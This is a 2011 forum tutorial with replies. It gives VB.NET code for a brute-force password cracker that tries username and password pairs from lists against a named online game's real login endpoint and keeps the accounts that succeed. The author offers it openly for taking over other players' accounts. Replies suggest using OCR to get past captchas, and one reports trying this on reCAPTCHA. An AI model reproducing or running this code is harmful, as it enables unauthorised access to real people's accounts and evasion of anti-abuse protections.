[vb.net]How to make a simple Password cracker - Jadencide - Mar 17, 2011
First what you'll need is
- 3 Listboxs
- 3 labels
- 1 Button
- A Game to Crack/Site
Step 2 make your form like this:

Step 3 that lets add the code:
Code
Imports System.Threading
Public Class Form1
Dim t1 As New System.Threading.Thread(AddressOf cracker) 'using threading so it doens't lag
Public Sub cracker()
For x = 0 To ListBox1.Items.Count - 1
For y = 0 To ListBox2.Items.Count - 1
ListBox1.SelectedIndex = x
ListBox2.SelectedIndex = y
Dim url As New Net.WebClient
Dim str As String = url.DownloadString("https://apps.dxd.go.com/dxd/flashAPI/login?username=" & ListBox1.SelectedItem & "&password=" & ListBox2.SelectedItem & "&promotionName=Pirates%5FOnline%5FRegistration%5FDefault")
If str.Contains("<success>1</success>") Then
ListBox3.Items.Add(ListBox1.SelectedItem & ":" & ListBox2.SelectedItem)
GoTo next1 ' so it doesn't keep cracking the cracked account ^_^
Else
'failed loooool
End If
Next y
next1:
Next x
End Sub
Private Sub Button1_Click(ByVal sender As System.Object, ByVal e As System.EventArgs) Handles Button1.Click
Control.CheckForIllegalCrossThreadCalls = False ' gets rid of that annoying error
t1.Start() ' starts cracking thread
End Sub
End ClassI'm using this game Pirates Online (shit game) and when the login fails the response on the page is "<error>LOGIN_FAILED</error>" but when you crack an account they throw this at you "<success>1</success>" plus all the account information. Click to see
I won't be teaching you how to get the urls to crack so don't ask lol :P
4th, add your test account plus fake accounts:

That's a very simple bruteforce.
Good work thought :)
I would suggest you learn about OCR, so you can bypass captchas.
Also this guide is very explanationfull.

It's not a bruteforcer..
And isn't it you who are to learn/implement OCR? OP provided the basics, you keep building on it.

If anyone gets stumped, or needs a question answered. Ask away :)

You have a very good point sir. If I was any good at coding I would add on to it. But nice job on it. Keep up the good work.

I would've thought the word illegal in the property was enough to give it away, but apparently not 😁

Like i said. Is using that bad pl0x?

I've tested OCR few minutes ago; It's having a hard time recognizing captcha from reCaptcha.
